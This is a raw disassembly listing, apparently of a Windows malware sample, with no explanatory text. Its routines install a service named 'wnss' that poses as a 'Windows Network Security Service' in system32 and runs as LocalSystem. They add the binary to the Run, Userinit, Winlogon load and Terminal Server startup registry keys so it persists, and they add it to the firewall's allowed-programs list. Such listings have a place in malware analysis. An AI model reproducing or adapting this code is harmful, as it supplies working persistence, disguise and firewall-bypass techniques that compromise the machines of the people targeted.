loc_404F81:				; CODE XREF: sub_404F15+5Aj
		test	ebx, ebx
		jnz	short loc_404F90
		push	edi
		call	dword_411E50
		xor	eax, eax
		jmp	short loc_404FE2
; ---------------------------------------------------------------------------


loc_404F90:				; CODE XREF: sub_404F15+6Ej
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		call	dword_411E54
		test	eax, eax
		jz	short loc_404FA8
		cmp	[ebp+var_18], 4
		jnz	short loc_404FA8
		xor	esi, esi
		inc	esi


loc_404FA8:				; CODE XREF: sub_404F15+88j
					; sub_404F15+8Ej
		test	esi, esi
		jnz	short loc_404FD2
		push	0
		push	0
		push	ebx
		call	dword_411E60
		test	eax, eax
		jz	short loc_404FC2
		mov	esi, 2
		jmp	short loc_404FD2
; ---------------------------------------------------------------------------


loc_404FC2:				; CODE XREF: sub_404F15+A4j
		call	dword_411CE8
		cmp	eax, 430h
		jnz	short loc_404FD2
		or	esi, 0FFFFFFFFh


loc_404FD2:				; CODE XREF: sub_404F15+95j
					; sub_404F15+ABj ...
		push	ebx
		call	dword_411E50
		push	edi
		call	dword_411E50
		mov	eax, esi


loc_404FE2:				; CODE XREF: sub_404F15+1Ej
					; sub_404F15+56j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_404F15	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FE9	proc near		; CODE XREF: sub_405CA2:loc_405CEBp
					; sub_4067B0+3F3p ...

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_113		= byte ptr -113h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	0F003Fh
		push	0
		push	0
		call	dword_411E48
		mov	esi, eax
		test	eax, eax
		jz	loc_405124
		push	0
		push	0
		push	0
		push	0
		push	0
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		push	0
		push	2
		push	110h
		push	0F01FFh
		push	offset aWindowsNetwork ; "Windows Network Security Service"
		push	offset aWnss	; "wnss"
		push	esi
		call	dword_411E64
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_405071
		call	dword_411CE8
		cmp	eax, 431h
		jnz	short loc_405063
		push	esi
		call	dword_411E50
		call	sub_404EC7
		xor	eax, eax
		inc	eax
		jmp	loc_405124
; ---------------------------------------------------------------------------


loc_405063:				; CODE XREF: sub_404FE9+64j
		push	esi
		call	dword_411E50
		xor	eax, eax
		jmp	loc_405124
; ---------------------------------------------------------------------------


loc_405071:				; CODE XREF: sub_404FE9+57j
		push	offset aServiceRegiste ; "service registered\n"
		call	nullsub_2
		pop	ecx
		xor	edi, edi
		inc	edi
		push	0FFh
		push	offset aProvidesNetwor ; "Provides network security options for	s"...
		lea	eax, [ebp+var_113]
		push	eax
		call	dword_411D3C
		lea	eax, [ebp+var_113]
		mov	[ebp+var_120], eax
		lea	eax, [ebp+var_120]
		push	eax
		push	1
		push	ebx
		call	dword_411E5C
		test	eax, eax
		jnz	short loc_4050C6
		call	dword_411CE8
		cmp	eax, 430h
		jnz	short loc_4050C6
		or	edi, 0FFFFFFFFh


loc_4050C6:				; CODE XREF: sub_404FE9+CBj
					; sub_404FE9+D8j
		mov	[ebp+var_11C], 1
		and	[ebp+var_118], 0
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		mov	[ebp+var_8], 1
		lea	eax, [ebp+var_11C]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_14]
		push	eax
		push	2
		push	ebx
		call	dword_411E5C
		test	eax, eax
		jnz	short loc_405114
		call	dword_411CE8
		cmp	eax, 430h
		jnz	short loc_405114
		or	edi, 0FFFFFFFFh


loc_405114:				; CODE XREF: sub_404FE9+119j
					; sub_404FE9+126j
		push	ebx
		call	dword_411E50
		push	esi
		call	dword_411E50
		mov	eax, edi


loc_405124:				; CODE XREF: sub_404FE9+1Fj
					; sub_404FE9+75j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_404FE9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40512B	proc near		; CODE XREF: sub_403FEA+9p
					; sub_4067B0+B0p ...
		push	ebx
		push	esi
		push	0F003Fh
		push	0
		push	0
		call	dword_411E48
		mov	ebx, eax
		test	eax, eax
		jz	short loc_40516D
		push	0F01FFh
		push	offset aWnss	; "wnss"
		push	ebx
		call	dword_411E4C
		mov	esi, eax
		push	esi
		call	dword_411E68
		push	esi
		call	dword_411E50
		push	ebx
		call	dword_411E50
		xor	eax, eax
		inc	eax


loc_40516D:				; CODE XREF: sub_40512B+15j
		pop	esi
		pop	ebx
		retn
sub_40512B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405170	proc near		; CODE XREF: sub_405CA2+2Ap
					; sub_4067B0+40Ap

var_53C		= dword	ptr -53Ch
var_538		= byte ptr -538h
var_534		= byte ptr -534h
var_409		= byte ptr -409h
var_408		= dword	ptr -408h
var_404		= dword	ptr -404h
var_400		= byte ptr -400h

		push	ebp
		mov	ebp, esp
		sub	esp, 53Ch
		push	ebx
		push	esi
		push	offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_407730
		pop	ecx
		pop	ecx
		lea	ebx, [ebp+var_400]
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_407710
		pop	ecx
		add	ebx, eax
		push	offset aWnss	; "wnss"
		push	ebx
		call	sub_407730
		pop	ecx
		pop	ecx
		xor	esi, esi
		lea	eax, [ebp+var_404]
		push	eax
		push	0F003Fh
		push	0
		lea	eax, [ebp+var_400]
		push	eax
		push	80000002h
		call	dword_411E30
		test	eax, eax
		jnz	short loc_40523E
		mov	[ebp+var_408], 12Ch
		lea	eax, [ebp+var_408]
		push	eax
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_538]
		push	eax
		push	0
		push	offset aImagepath ; "ImagePath"
		push	[ebp+var_404]
		call	dword_411E44
		mov	[ebp+var_53C], eax
		test	eax, eax
		jnz	short loc_405232
		mov	[ebp+var_409], 0
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		lea	eax, [ebp+var_534]
		push	eax
		call	dword_411D38
		test	eax, eax
		jnz	short loc_405232
		xor	esi, esi
		inc	esi


loc_405232:				; CODE XREF: sub_405170+A0j
					; sub_405170+BDj
		push	[ebp+var_404]
		call	dword_411E2C


loc_40523E:				; CODE XREF: sub_405170+64j
		mov	eax, esi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_405170	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405246	proc near		; CODE XREF: sub_405CA2+33p
					; sub_4067B0+413p

var_40C		= byte ptr -40Ch
var_408		= byte ptr -408h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 40Ch
		push	ebx
		push	offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\"
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_407730
		pop	ecx
		pop	ecx
		lea	ebx, [ebp+var_408]
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_407710
		pop	ecx
		add	ebx, eax
		push	offset aWnss	; "wnss"
		push	ebx
		call	sub_407730
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_40C]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_408]
		push	eax
		push	80000002h
		call	dword_411E24
		test	eax, eax
		jnz	loc_4053BB
		mov	[ebp+var_8], 110h
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		push	4
		push	0
		push	offset aType	; "Type"
		push	[ebp+var_4]
		call	dword_411E28
		mov	[ebp+var_8], 2
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		push	4
		push	0
		push	offset aStart	; "Start"
		push	[ebp+var_4]
		call	dword_411E28
		and	[ebp+var_8], 0
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		push	4
		push	0
		push	offset aErrorcontrol ; "ErrorControl"
		push	[ebp+var_4]
		call	dword_411E28
		and	[ebp+var_8], 0
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		push	4
		push	0
		push	offset aErrorcontrol ; "ErrorControl"
		push	[ebp+var_4]
		call	dword_411E28
		push	0Ch
		push	offset aLocalsystem ; "LocalSystem"
		push	1
		push	0
		push	offset aObjectname ; "ObjectName"
		push	[ebp+var_4]
		call	dword_411E28
		push	offset aWindowsNetwork ; "Windows Network Security Service"
		call	sub_407710
		pop	ecx
		inc	eax
		push	eax
		push	offset aWindowsNetwork ; "Windows Network Security Service"
		push	1
		push	0
		push	offset aDisplayname ; "DisplayName"
		push	[ebp+var_4]
		call	dword_411E28
		push	offset aProvidesNetwor ; "Provides network security options for	s"...
		call	sub_407710
		pop	ecx
		inc	eax
		push	eax
		push	offset aProvidesNetwor ; "Provides network security options for	s"...
		push	1
		push	0
		push	offset aDescription ; "Description"
		push	[ebp+var_4]
		call	dword_411E28
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		call	sub_407710
		pop	ecx
		inc	eax
		push	eax
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		push	1
		push	0
		push	offset aImagepath ; "ImagePath"
		push	[ebp+var_4]
		call	dword_411E28
		push	[ebp+var_4]
		call	dword_411E2C


loc_4053BB:				; CODE XREF: sub_405246+6Bj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_405246	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	offset a8fc4ddd4C51e11 ; "{8FC4DDD4-C51E-11DC-98A8-E49F55D89593}"
		push	0
		push	0
		push	0
		call	dword_411D40
		mov	ebx, eax
		test	eax, eax
		jz	short loc_4053F4
		push	ebx
		call	dword_411D44
		mov	esi, eax
		push	ebx
		call	dword_411CF8
		test	esi, esi
		jz	short loc_4053F2
		xor	eax, eax
		inc	eax
		jmp	short loc_4053F4
; ---------------------------------------------------------------------------


loc_4053F2:				; CODE XREF: DMN0:004053EBj
		xor	eax, eax


loc_4053F4:				; CODE XREF: DMN0:004053D7j
					; DMN0:004053F0j
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053F7	proc near		; CODE XREF: sub_405604+89p
					; sub_40569A+CAp ...

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_411E24
		test	eax, eax
		jnz	short loc_405449
		push	[ebp+arg_C]
		call	sub_407710
		pop	ecx
		inc	eax
		push	eax
		push	[ebp+arg_C]
		push	1
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	dword_411E28
		push	[ebp+var_4]
		call	dword_411E2C


loc_405449:				; CODE XREF: sub_4053F7+29j
		mov	esp, ebp
		pop	ebp
		retn
sub_4053F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40544D	proc near		; CODE XREF: sub_405555+3Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_407710
		pop	ecx
		mov	edi, eax
		push	[ebp+var_4]
		call	sub_407710
		pop	ecx
		mov	ebx, eax
		jmp	short loc_405491
; ---------------------------------------------------------------------------


loc_405473:				; CODE XREF: sub_40544D+46j
		push	ebx
		push	[ebp+var_4]
		push	ebx
		push	esi
		push	1
		push	400h
		call	dword_411CFC
		cmp	eax, 2
		jnz	short loc_40548F
		mov	eax, esi
		jmp	short loc_405497
; ---------------------------------------------------------------------------


loc_40548F:				; CODE XREF: sub_40544D+3Cj
		inc	esi
		dec	edi


loc_405491:				; CODE XREF: sub_40544D+24j
		cmp	edi, ebx
		jge	short loc_405473
		xor	eax, eax


loc_405497:				; CODE XREF: sub_40544D+40j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40544D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40549E	proc near		; CODE XREF: sub_405555+23p
					; sub_405604+4Ap ...

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_C]
		mov	edi, [ebp+arg_10]
		cmp	edi, 1
		jl	short loc_4054B9
		test	esi, esi
		jnz	short loc_4054C0


loc_4054B9:				; CODE XREF: sub_40549E+15j
		xor	eax, eax
		jmp	loc_40554E
; ---------------------------------------------------------------------------


loc_4054C0:				; CODE XREF: sub_40549E+19j
		lea	eax, [ebp+var_8]
		push	eax
		push	0F003Fh
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_411E30
		test	eax, eax
		jz	short loc_4054DF
		xor	eax, eax
		jmp	short loc_40554E
; ---------------------------------------------------------------------------


loc_4054DF:				; CODE XREF: sub_40549E+3Bj
		push	[ebp+arg_4]
		push	offset aRegreadOpenedS ; "RegRead(): opened %s\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		push	edi
		push	0
		push	esi
		call	sub_407690
		add	esp, 0Ch
		lea	eax, [edi-1]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		push	ebx
		push	[ebp+var_8]
		call	dword_411E44
		mov	[ebp+var_C], eax
		push	[ebp+var_8]
		call	dword_411E2C
		cmp	[ebp+var_C], 0
		jnz	short loc_40553F
		push	esi
		push	ebx
		push	[ebp+var_4]
		push	offset aRegreadReadIBy ; "RegRead(): read %i bytes from	%s (%s)\n"
		call	nullsub_2
		add	esp, 10h
		mov	eax, [ebp+var_4]
		dec	eax
		jmp	short loc_40554E
; ---------------------------------------------------------------------------


loc_40553F:				; CODE XREF: sub_40549E+87j
		push	ebx
		push	offset aRegreadCanTRea ; "RegRead(): can't read key %s\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		xor	eax, eax


loc_40554E:				; CODE XREF: sub_40549E+1Dj
					; sub_40549E+3Fj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40549E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405555	proc near		; CODE XREF: sub_405604+23p
					; sub_40569A+24p ...

var_2000	= byte ptr -2000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_4077F0
		push	ebx
		push	2000h
		lea	eax, [ebp+var_2000]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40549E
		add	esp, 14h
		mov	ebx, eax
		test	eax, eax
		jz	short loc_4055A2
		push	[ebp+arg_C]
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_40544D
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4055A0
		xor	eax, eax
		inc	eax
		jmp	short loc_4055A2
; ---------------------------------------------------------------------------


loc_4055A0:				; CODE XREF: sub_405555+44j
		xor	eax, eax


loc_4055A2:				; CODE XREF: sub_405555+2Fj
					; sub_405555+49j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_405555	endp


; =============== S U B	R O U T	I N E =======================================



sub_4055A7	proc near		; CODE XREF: sub_405833+1Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_0]
		mov	esi, [esp+0Ch+arg_8]
		mov	edi, [esp+0Ch+arg_C]
		test	edi, edi
		jz	short loc_4055C0
		mov	byte ptr [ebx],	22h
		inc	ebx
		jmp	short loc_4055C3
; ---------------------------------------------------------------------------


loc_4055C0:				; CODE XREF: sub_4055A7+11j
		mov	byte ptr [ebx],	0


loc_4055C3:				; CODE XREF: sub_4055A7+17j
		push	[esp+0Ch+arg_4]
		push	ebx
		call	sub_407730
		pop	ecx
		pop	ecx
		push	[esp+0Ch+arg_4]
		call	sub_407710
		pop	ecx
		add	ebx, eax
		test	edi, edi
		jz	short loc_4055E3
		mov	byte ptr [ebx],	22h
		inc	ebx


loc_4055E3:				; CODE XREF: sub_4055A7+36j
		test	esi, esi
		jz	short loc_4055FD
		mov	byte ptr [ebx],	20h
		inc	ebx
		push	esi
		push	ebx
		call	sub_407730
		pop	ecx
		pop	ecx
		push	esi
		call	sub_407710
		pop	ecx
		add	ebx, eax


loc_4055FD:				; CODE XREF: sub_4055A7+3Ej
		mov	byte ptr [ebx],	0
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4055A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405604	proc near		; CODE XREF: sub_405833+78p

var_2000	= byte ptr -2000h

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_4077F0
		push	ebx
		push	dword_4128A4
		push	offset aStartupprogram ; "StartupPrograms"
		push	offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"...
		push	80000002h
		call	sub_405555
		add	esp, 10h
		test	eax, eax
		jnz	short loc_405695
		push	2000h
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aStartupprogram ; "StartupPrograms"
		push	offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"...
		push	80000002h
		call	sub_40549E
		add	esp, 14h
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_405663
		mov	[ebp+var_2000],	0


loc_405663:				; CODE XREF: sub_405604+56j
		push	dword_4128A4
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_407750
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aStartupprogram ; "StartupPrograms"
		push	offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"...
		push	80000002h
		call	sub_4053F7
		add	esp, 10h


loc_405695:				; CODE XREF: sub_405604+2Dj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_405604	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40569A	proc near		; CODE XREF: sub_405833+7Dp

var_2000	= byte ptr -2000h

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_4077F0
		push	ebx
		push	esi
		push	dword_4128A4
		push	offset aUserinit ; "Userinit"
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_405555
		add	esp, 10h
		test	eax, eax
		jnz	loc_40576C
		push	2000h
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aUserinit ; "Userinit"
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_40549E
		add	esp, 14h
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_4056FE
		mov	[ebp+var_2000],	0


loc_4056FE:				; CODE XREF: sub_40569A+5Bj
		cmp	[ebp+var_2000],	0
		jz	short loc_405723
		lea	esi, [ebp+var_2000]
		jmp	short loc_405710
; ---------------------------------------------------------------------------


loc_40570F:				; CODE XREF: sub_40569A+79j
		inc	esi


loc_405710:				; CODE XREF: sub_40569A+73j
		cmp	byte ptr [esi],	0
		jnz	short loc_40570F
		dec	esi
		cmp	byte ptr [esi],	2Ch
		jz	short loc_405723
		inc	esi
		mov	byte ptr [esi],	2Ch
		inc	esi
		mov	byte ptr [esi],	0


loc_405723:				; CODE XREF: sub_40569A+6Bj
					; sub_40569A+7Fj
		push	dword_4128A4
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_407750
		pop	ecx
		pop	ecx
		test	ebx, ebx
		jnz	short loc_40574E
		push	offset asc_40E73C ; ","
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_407750
		pop	ecx
		pop	ecx


loc_40574E:				; CODE XREF: sub_40569A+9Fj
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aUserinit ; "Userinit"
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_4053F7
		add	esp, 10h


loc_40576C:				; CODE XREF: sub_40569A+2Ej
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40569A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405772	proc near		; CODE XREF: sub_405833+82p

var_2000	= byte ptr -2000h

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_4077F0
		push	ebx
		push	esi
		push	dword_4128A4
		push	offset aLoad	; "load"
		push	offset aSoftwareMicr_1 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_405555
		add	esp, 10h
		test	eax, eax
		jnz	loc_40582D
		push	2000h
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aLoad	; "load"
		push	offset aSoftwareMicr_1 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_40549E
		add	esp, 14h
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_4057D6
		mov	[ebp+var_2000],	0


loc_4057D6:				; CODE XREF: sub_405772+5Bj
		cmp	[ebp+var_2000],	0
		jz	short loc_4057FB
		lea	esi, [ebp+var_2000]
		jmp	short loc_4057E8
; ---------------------------------------------------------------------------


loc_4057E7:				; CODE XREF: sub_405772+79j
		inc	esi


loc_4057E8:				; CODE XREF: sub_405772+73j
		cmp	byte ptr [esi],	0
		jnz	short loc_4057E7
		dec	esi
		cmp	byte ptr [esi],	2Ch
		jz	short loc_4057FB
		inc	esi
		mov	byte ptr [esi],	2Ch
		inc	esi
		mov	byte ptr [esi],	0


loc_4057FB:				; CODE XREF: sub_405772+6Bj
					; sub_405772+7Fj
		push	dword_4128A4
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_407750
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aLoad	; "load"
		push	offset aSoftwareMicr_1 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_4053F7
		add	esp, 10h


loc_40582D:				; CODE XREF: sub_405772+2Ej
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_405772	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405833	proc near		; CODE XREF: sub_4067B0+557p

var_2000	= byte ptr -2000h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_4077F0
		push	1
		push	offset asc_40E700 ; "*"
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_4055A7
		add	esp, 10h
		push	offset aWritingToHklmA ; "writing to HKLM/autorun key...\n"
		call	nullsub_2
		pop	ecx
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aWindowsNetwork ; "Windows Network Security Service"
		push	offset aSoftwareMicr_2 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	sub_4053F7
		add	esp, 10h
		push	offset aWritingToHkcuA ; "writing to HKCU/autorun key...\n"
		call	nullsub_2
		pop	ecx
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aWindowsNetwork ; "Windows Network Security Service"
		push	offset aSoftwareMicr_2 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000001h
		call	sub_4053F7
		add	esp, 10h
		call	sub_405604
		call	sub_40569A
		call	sub_405772
		mov	esp, ebp
		pop	ebp
		retn
sub_405833	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4058BE	proc near		; CODE XREF: sub_4067B0+236p

var_2000	= byte ptr -2000h

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_4077F0
		mov	[ebp+var_2000],	0
		push	dword_4128A4
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_407750
		pop	ecx
		pop	ecx
		push	offset aEnabled	; ":*:Enabled:"
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_407750
		pop	ecx
		pop	ecx
		push	offset aWindowsNetwork ; "Windows Network Security Service"
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_407750
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2000]
		push	eax
		push	dword_4128A4
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
		push	80000002h
		call	sub_4053F7
		add	esp, 10h
		mov	esp, ebp
		pop	ebp
		retn
sub_4058BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40592F	proc near		; CODE XREF: DMN0:00405B4Dp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	14h
		push	40h
		call	dword_411CE0
		mov	[ebp+var_10], eax
		push	1
		push	[ebp+var_10]
		call	dword_411E38
		push	0
		push	0
		push	1
		push	[ebp+var_10]
		call	dword_411E3C
		mov	[ebp+var_C], 0Ch
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], 1
		push	offset a8fc4ddd4C51e11 ; "{8FC4DDD4-C51E-11DC-98A8-E49F55D89593}"
		push	0
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_411D40
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_405999
		push	offset aEventCreated_ ;	"EVENT CREATED.\n"
		call	sub_407320
		pop	ecx
		jmp	short loc_4059AC
; ---------------------------------------------------------------------------


loc_405999:				; CODE XREF: sub_40592F+5Bj
		call	dword_411CE8
		push	eax
		push	offset aEventCreatonEr ; "EVENT	CREATON	ERROR: %i\n"
		call	sub_407320
		pop	ecx
		pop	ecx


loc_4059AC:				; CODE XREF: sub_40592F+68j
		push	0
		push	0
		push	offset sub_405CA2
		call	sub_4079D0
		add	esp, 0Ch
		push	eax
		call	dword_411CF8
		push	0
		push	0
		push	offset sub_406736
		call	sub_4079D0
		add	esp, 0Ch
		mov	esi, eax


loc_4059D7:				; CODE XREF: sub_40592F:loc_405A26j
		test	ebx, ebx
		jz	short loc_405A11
		push	offset aWaitingForStop ; "WAITING FOR STOP EVENT!\n"
		call	sub_407320
		pop	ecx
		mov	[ebp+var_18], esi
		mov	[ebp+var_14], ebx
		push	0FFFFFFFFh
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		push	2
		call	dword_411D48
		mov	edi, eax
		test	edi, edi
		jz	short loc_405A07
		cmp	edi, 1
		jnz	short loc_405A26


loc_405A07:				; CODE XREF: sub_40592F+D1j
		push	1
		call	sub_407AA0
		pop	ecx
		jmp	short loc_405A26
; ---------------------------------------------------------------------------


loc_405A11:				; CODE XREF: sub_40592F+AAj
		push	0FFFFFFFFh
		push	esi
		call	dword_411D34
		test	eax, eax
		jnz	short loc_405A26
		push	1
		call	sub_407AA0
		pop	ecx


loc_405A26:				; CODE XREF: sub_40592F+D6j
					; sub_40592F+E0j ...
		jmp	short loc_4059D7
sub_40592F	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_405A2F:				; DATA XREF: DMN0:00405AA5o
					; DMN1:00447DC6o
		mov	eax, [esp+4]
		cmp	eax, 3
		jz	short loc_405A44
		cmp	eax, 4
		jz	short loc_405A61
		cmp	eax, 5
		jz	short loc_405A74
		jmp	short locret_405A97
; ---------------------------------------------------------------------------


loc_405A44:				; CODE XREF: DMN0:00405A36j
		mov	dword_41293C, 4
		push	offset dword_412938
		push	dword_412954
		call	dword_411E6C
		jmp	short locret_405A97
; ---------------------------------------------------------------------------


loc_405A61:				; CODE XREF: DMN0:00405A3Bj
		push	offset dword_412938
		push	dword_412954
		call	dword_411E6C
		jmp	short locret_405A97
; ---------------------------------------------------------------------------


loc_405A74:				; CODE XREF: DMN0:00405A40j
		mov	dword_41293C, 1
		push	offset dword_412938
		push	dword_412954
		call	dword_411E6C
		push	1
		call	sub_407AA0
		pop	ecx

locret_405A97:				; CODE XREF: DMN0:00405A42j
					; DMN0:00405A5Fj ...
		retn	4
; ---------------------------------------------------------------------------


loc_405A9A:				; DATA XREF: sub_405B88+18o
